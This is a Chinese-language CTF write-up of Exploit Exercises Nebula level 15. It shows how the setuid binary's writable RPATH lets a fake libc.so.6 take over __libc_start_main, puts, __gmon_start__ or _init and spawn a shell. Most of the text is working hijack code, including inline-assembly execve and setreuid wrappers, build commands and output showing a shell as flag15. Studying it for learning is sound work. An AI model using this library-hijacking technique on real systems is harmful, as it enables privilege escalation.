动态链接库劫持,本文是做这个题目的笔记:Exploit Exercises - Nebula 15。
根据题目的要求,我们需要用strace命令观察flag15的系统调用情况。
最终目标是通过这个程序拿到flag。
整个过程都是在调用一个叫libc.so.6的动态链接库:
level15@nebula:/home/flag15$ strace ./flag15 execve("./flag15", ["./flag15"], [/* 16 vars */]) = 0 brk(0) = 0x99ef000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78c3000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/sse2", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/sse2", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/sse2/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/sse2", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/cmov", 0xbfc05494) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=100, ...}) = 0 open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0 mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb78ba000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0 mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x4fe000 mmap2(0x674000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x674000 mmap2(0x677000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x677000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78b9000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb78b98d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0x674000, 8192, PROT_READ) = 0 mprotect(0x8049000, 4096, PROT_READ) = 0 mprotect(0xe86000, 4096, PROT_READ) = 0 munmap(0xb78ba000, 33815) = 0 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78c2000 write(1, "strace it!\n", 11strace it! ) = 11 exit_group(11) = ? level15@nebula:/home/flag15$ |
2.2 思路
主要思路:
1. 生成libc.so.6
2. 劫持程序的导入函数或者利用_init函数
__libc_start_main
__gmon_start__
Puts
3. 劫持函数中可以执行system(“/bin/sh”)
4. System函数可以来自系统的libc.so.6,这需要静态链接libgcc;
5. System函数也可以是自定义实现的
为了实现目标,首先要知道SO的路径名称、导入表中有哪些信息
查看Dynamic section
可以看到名称为libc.so.6,路径为/var/tmp/flag15
level15@nebula:/home/flag15$ readelf -d ./flag15
Dynamic section at offset 0xf20 contains 21 entries: Tag Type Name/Value 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] 0x0000000c (INIT) 0x80482c0 |
查看重定位表
可以看到导入了3个函数:puts、__gmon_start__、__libc_start_main;
level15@nebula:/var/tmp/flag15$ readelf -r /home/flag15/flag15
Relocation section '.rel.dyn' at offset 0x2a0 contains 1 entries: Offset Info Type Sym.Value Sym. Name 08049ff0 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x2a8 contains 3 entries: Offset Info Type Sym.Value Sym. Name 0804a000 00000107 R_386_JUMP_SLOT 00000000 puts 0804a004 00000207 R_386_JUMP_SLOT 00000000 __gmon_start__ 0804a008 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main |
查看版本信息
level15@nebula:/home/flag15$ readelf -V ./flag15
Version symbols section '.gnu.version' contains 5 entries: Addr: 0000000008048276 Offset: 0x000276 Link: 5 (.dynsym) 000: 0 (*local*) 2 (GLIBC_2.0) 0 (*local*) 2 (GLIBC_2.0) 004: 1 (*global*)
Version needs section '.gnu.version_r' contains 1 entries: Addr: 0x0000000008048280 Offset: 0x000280 Link: 6 (.dynstr) 000000: Version: 1 File: libc.so.6 Cnt: 1 0x0010: Name: GLIBC_2.0 Flags: none Version: 2 |
参考https://mike-boya.github.io/blog/2016/02/22/exploit-exercises-nebula-level15/
Dummy_libc.c
#include
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { system("/bin/sh"); return 0; } |
Version.ld
GLIBC_2.0 { }; |
Makefile
build: gcc -shared -static-libgcc -fPIC -Wl,--version-script=version.ld,-Bstatic dummy_libc.c -o libc.so.6 |
l -static:链接静态库文件
l -static-libgcc:链接libgcc静态库
-shared-libgcc:链接libgcc共享库
构建共享库和可执行程序时,默认为链接libgcc共享库
l gcc使用-Wl传递连接器参数
l ld使用-Bdynamic强制链接动态库,-Bstatic强制链接静态库。
l ld使用--version-script指定版本脚本
l 注意:静态链接libgcc必须配合使用-static-libgcc和-Wl,-Bstatic
结果
level15@nebula:/home/flag15$ ./flag15 sh-4.2$ id uid=1016(level15) gid=1016(level15) euid=984(flag15) groups=984(flag15),1016(level15) sh-4.2$ getflag You have successfully executed getflag on a target account sh-4.2$ exit exit Segmentation fault |
修改Dummy_libc.c
int puts(const char *s) { system("/bin/sh"); return 0; } |
结果
level15@nebula:/home/flag15$ ./flag15 ./flag15: relocation error: ./flag15: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference |
注意:puts的执行在__libc_start_main之后;所以还要实现__libc_start_main。
继续修改dummy_libc.c
#include
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { main(argc, ubp_av, 0); return 0; }
int puts(const char *s) { system("/bin/sh"); return 0; } |
结果
level15@nebula:/home/flag15$ ./flag15 sh-4.2$ id uid=1016(level15) gid=1016(level15) euid=984(flag15) groups=984(flag15),1016(level15) sh-4.2$ getflag You have successfully executed getflag on a target account sh-4.2$ exit exit Segmentation fault |
修改dummy_libc.c
void __gmon_start__(void) { system("/bin/sh"); } |
执行结果:
level15@nebula:/home/flag15$ ./flag15 sh-4.2$ id uid=1016(level15) gid=1016(level15) euid=984(flag15) groups=984(flag15),1016(level15) sh-4.2$ getflag You have successfully executed getflag on a target account sh-4.2$ exit exit ./flag15: relocation error: ./flag15: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference |
注意:__gmon_start在__libc_start_main之前执行;
因此执行完毕后又报告没有找到__libc_start_main;
之前使用的都是libc中的system函数,我们假冒的libc静态链接了系统的libc库。
这里不使用系统的libc库。
大小上可以看出来:
-rwxrwxr-x 1 level15 level15 779369 2018-04-02 18:56 libc.b*
-rwxrwxr-x 1 level15 level15 5545 2018-04-04 00:13 libc.so.6*
Libc.b是静态链接系统libc的库;
Libc.so.6是不使用系统libc的版本;
不使用系统的libc库时,覆盖__gmon_start__函数就没有用了。
Dummy_libc.c
#define __NR_execve 11 #define __NR_geteuid32 201 #define __NR_setreuid32 203
long system(const char *command) { long ret; asm volatile ("int $0x80" : "=a" (ret) : "a" (__NR_execve), "b"(command), "c"(0), "d" (0) ); return ret; }
int geteuid() { long ret; asm volatile ("int $0x80" : "=a" (ret) : "a" (__NR_geteuid32) ); return ret; }
int setreuid(int ruid, int euid) { long ret; asm volatile ("int $0x80" : "=a" (ret) : "a" (__NR_setreuid32), "b"(ruid), "c"(euid) ); return ret; }
void getshell(void) { int euid;
euid = geteuid(); setreuid(euid, euid); system("/bin/sh"); }
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { getshell(); return 0; } |
Version.ld
GLIBC_2.0 { }; GLIBC_2.1.3 { }; |
Makefile
build: gcc -shared -nostdlib -nostdinc -Wl,--version-script=version.ld dummy_libc.c -o libc.so.6 |
结果
level15@nebula:/home/flag15$ ./flag15 flag15@nebula:/home/flag15$ id uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15) flag15@nebula:/home/flag15$ getflag You have successfully executed getflag on a target account flag15@nebula:/home/flag15$ exit exit |
注意:
l 如果不使用setreuid,则得到的是普通的shell,ruid和euid不会修改为文件的所有者;
l GCC内联汇编和-fPIC/-fpic选项有冲突。原因是位置无关代码使用了GOT表,而EBX指向GOT表。因而-fPIC/-fpic编译时,GCC内联汇编中不允许使用EBX。
level15@nebula:/var/tmp/flag15$ gcc -shared -nostdlib -nostdinc -fPIC -fpic -Wl,--version-script=version.ld dummy_libc.c -o libc.so.6
dummy_libc.c: In function ‘system’:
dummy_libc.c:8:5: error: inconsistent operand constraints in an ‘asm’
so在被加载之前,会执行init段的代码。在结束的时候,会执行fini段的代码。
下面是使用自定义system函数重写_init函数的代码(其它文件见上节):
#define __NR_execve 11 #define __NR_geteuid32 201 #define __NR_setreuid32 203
long system(const char *command) { long ret; asm volatile ("int $0x80" : "=a" (ret) : "a" (__NR_execve), "b"(command), "c"(0), "d" (0) ); return ret; }
int geteuid() { long ret; asm volatile ("int $0x80" : "=a" (ret) : "a" (__NR_geteuid32) ); return ret; }
int setreuid(int ruid, int euid) { long ret; asm volatile ("int $0x80" : "=a" (ret) : "a" (__NR_setreuid32), "b"(ruid), "c"(euid) ); return ret; }
void getshell(void) { int euid;
euid = geteuid(); setreuid(euid, euid); system("/bin/sh"); }
//void __attribute__((constructor)) init() void _init() { getshell(); } |
当然,也可以使用libc的system函数:
#include
void __attribute__((constructor)) init() { system("/bin/sh"); } |
level15@nebula:/var/tmp/flag15$ cat makefile build: gcc -shared -static-libgcc -fPIC -Wl,--version-script=version.ld,-Bstatic dummy_libc.c -o libc.so.6 |
【现象】
dummy_libc.c
#include
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { system("/bin/sh"); return 0; } |
首先,这样生成共享库是不行的:
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC dummy_libc.c -o libc.so.6 |
报错如下:
level15@nebula:/home/flag15$ ./flag15 ./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by ./flag15) ./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6) ./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6) ./flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference |
【原因】
no version information available (required by ./flag15)
原因:程序运行时链接的共享库的版本和程序构建时链接的共享库的版本不匹配。
这个例子中,构建时libc版本号为2.0,运行时为2.13
(PS:高版本为什么不支持低版本?)
查看构建时的动态库版本号
level15@nebula:/home/flag15$ readelf -V ./flag15
Version symbols section '.gnu.version' contains 5 entries: Addr: 0000000008048276 Offset: 0x000276 Link: 5 (.dynsym) 000: 0 (*local*) 2 (GLIBC_2.0) 0 (*local*) 2 (GLIBC_2.0) 004: 1 (*global*)
Version needs section '.gnu.version_r' contains 1 entries: Addr: 0x0000000008048280 Offset: 0x000280 Link: 6 (.dynstr) 000000: Version: 1 File: libc.so.6 Cnt: 1 0x0010: Name: GLIBC_2.0 Flags: none Version: 2 |
查看运行时的动态库版本号
level15@nebula:/home/flag15$ /lib/i386-linux-gnu/libc.so.6 GNU C Library (Ubuntu EGLIBC 2.13-20ubuntu5) stable release version 2.13, by Roland McGrath et al. |
level15@nebula:/home/flag15$ ldd --version ldd (Ubuntu EGLIBC 2.13-20ubuntu5) 2.13 |
现在给链接器传递版本信息
level15@nebula:/var/tmp/flag15$ cat version.ld GLIBC_2.0 { }; level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -Wl,--version-script=version.ld dummy_libc.c -o libc.so.6 |
运行结果如下:
level15@nebula:/home/flag15$ ./flag15 ./flag15: /var/tmp/flag15/libc.so.6: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6) |
疑问:这个问题和no version information available的区别?
原因:GLIBC版本不匹配
查看版本信息:
.gnu.version中没有2.1.3
.gnu.version_r中有2.1.3
.gnu.version_d中没有2.1.3
level15@nebula:/home/flag15$ readelf -V /var/tmp/flag15/libc.so.6
Version symbols section '.gnu.version' contains 12 entries: Addr: 00000000000002c8 Offset: 0x0002c8 Link: 3 (.dynsym) 000: 0 (*local*) 3 (GLIBC_2.1.3) 4 (GLIBC_2.0) 0 (*local*) 004: 0 (*local*) 1 (*global*) 1 (*global*) 2 (GLIBC_2.0) 008: 1 (*global*) 1 (*global*) 1 (*global*) 1 (*global*)
Version definition section '.gnu.version_d' contains 2 entries: Addr: 0x00000000000002e0 Offset: 0x0002e0 Link: 4 (.dynstr) 000000: Rev: 1 Flags: BASE Index: 1 Cnt: 1 Name: libc.so.6 0x001c: Rev: 1 Flags: WEAK Index: 2 Cnt: 1 Name: GLIBC_2.0
Version needs section '.gnu.version_r' contains 1 entries: Addr: 0x0000000000000318 Offset: 0x000318 Link: 4 (.dynstr) 000000: Version: 1 File: libc.so.6 Cnt: 2 0x0010: Name: GLIBC_2.0 Flags: none Version: 4 0x0020: Name: GLIBC_2.1.3 Flags: none Version: 3 |
修改
level15@nebula:/var/tmp/flag15$ cat version.ld GLIBC_2.0 { }; GLIBC_2.1.3 { }; |
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -Wl,--version-script=version.ld dummy_libc.c -o libc.so.6 |
现在3个节中都有版本信息了:
level15@nebula:/home/flag15$ readelf -V /var/tmp/flag15/libc.so.6
Version symbols section '.gnu.version' contains 13 entries: Addr: 00000000000002dc Offset: 0x0002dc Link: 3 (.dynsym) 000: 0 (*local*) 4 (GLIBC_2.1.3) 5 (GLIBC_2.0) 0 (*local*) 004: 0 (*local*) 1 (*global*) 1 (*global*) 2 (GLIBC_2.0) 008: 1 (*global*) 1 (*global*) 1 (*global*) 3 (GLIBC_2.1.3) 00c: 1 (*global*)
Version definition section '.gnu.version_d' contains 3 entries: Addr: 0x00000000000002f8 Offset: 0x0002f8 Link: 4 (.dynstr) 000000: Rev: 1 Flags: BASE Index: 1 Cnt: 1 Name: libc.so.6 0x001c: Rev: 1 Flags: WEAK Index: 2 Cnt: 1 Name: GLIBC_2.0 0x0038: Rev: 1 Flags: WEAK Index: 3 Cnt: 1 Name: GLIBC_2.1.3
Version needs section '.gnu.version_r' contains 1 entries: Addr: 0x000000000000034c Offset: 0x00034c Link: 4 (.dynstr) 000000: Version: 1 File: libc.so.6 Cnt: 2 0x0010: Name: GLIBC_2.0 Flags: none Version: 5 0x0020: Name: GLIBC_2.1.3 Flags: none Version: 4 |
但是仍然出错了
level15@nebula:/home/flag15$ ./flag15 ./flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference |
疑问:/var/tmp/flag15/libc.so.6动态链接了/lib/i386-linux-gnu/libc.so.6,为什么还有上面的版本问题,为什么还有符号找不到呢?
level15@nebula:/var/tmp/flag15$ ldd ./libc.so.6 linux-gate.so.1 => (0x00212000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00908000) /lib/ld-linux.so.2 (0x00f9c000) |
level15@nebula:/var/tmp/flag15$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep __cxa_finalize 1945: 00032c80 319 FUNC GLOBAL DEFAULT 12 __cxa_finalize@@GLIBC_2.1.3 level15@nebula:/var/tmp/flag15$ readelf -s ./libc.so.6 | grep __cxa_finalize 1: 00000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.1.3 (4) 48: 00000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@@GLIBC_2.1 |
定义__cxa_finalize(dummy_libc.c中增加以下定义)
void __cxa_finalize(void) { return; } |
仍然报错
level15@nebula:/home/flag15$ ./flag15 ./flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference |
如果使用-nostdlib选项
gcc -shared -nostdlib -fPIC -Wl,--version-script=version.ld dummy_libc.c -o libc.so.6
则出错如下:
level15@nebula:/home/flag15$ ./flag15
./flag15: symbol lookup error: /var/tmp/flag15/libc.so.6: undefined symbol: system
dummy_libc.c
//#include
void __cxa_finalize(void) { return; }
extern long system(const char *command); #if 0 long system(const char *command) { long ret; asm volatile ("int $0x80" : "=a" (ret) : "a" (11), "b"(command), "c"(0), "d" (0) : "memory"); return ret; } #endif
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { system("/bin/sh"); return 0; } |
System.c
long system(const char *command) { long ret; asm volatile ("int $0x80" : "=a" (ret) : "a" (11), "b"(command), "c"(0), "d" (0) : "memory"); return ret; } |
Makefile
build: gcc system.c -c -o system.o gcc -shared -nostdlib -fPIC -Wl,--version-script=version.ld dummy_libc.c system.o -o libc.so.6 |
但是运行结果是这样的:
(PS:原因时没有setreuid)
level15@nebula:/home/flag15$ ./flag15 bash-4.2$ id uid=1016(level15) gid=1016(level15) groups=1016(level15) bash-4.2$ getflag getflag is executing on a non-flag account, this doesn't count bash-4.2$ exit |
l 劫持libc的主要过程:
1. 生成libc.so.6
2. 劫持程序的导入函数或者利用_init函数
__libc_start_main
__gmon_start__
3. 劫持函数中可以执行system(“/bin/sh”)
4. System函数可以来自系统的libc.so.6,这需要静态链接libgcc;
5. System函数也可以是自定义实现的
l 自定义system函数需要使用setreuid,否则得到的是普通的shell
l GCC系统调用内联汇编和-fPIC/-fpic选项有冲突。原因是位置无关代码使用了GOT表,而EBX指向GOT表。因而-fPIC/-fpic编译时,GCC内联汇编中不允许使用EBX。
解决方法是要么不使用-fPIC/-fpic,要么将内联汇编独立到单独的文件,单独编译;
1. https://exploit-exercises.com/nebula/level01/。
2. Version Script。https://ftp.gnu.org/old-gnu/Manuals/ld-2.9.1/html_node/ld_25.html
3. Command Line Options。https://ftp.gnu.org/old-gnu/Manuals/ld-2.9.1/html_node/ld_3.html
4. EXPLOIT EXERCISES NEBULA LEVEL15。https://mike-boya.github.io/blog/2016/02/22/exploit-exercises-nebula-level15/。
5. https://github.com/1u4nx/Exploit-Exercises-Nebula/blob/master/Level15——动态链接库劫持.org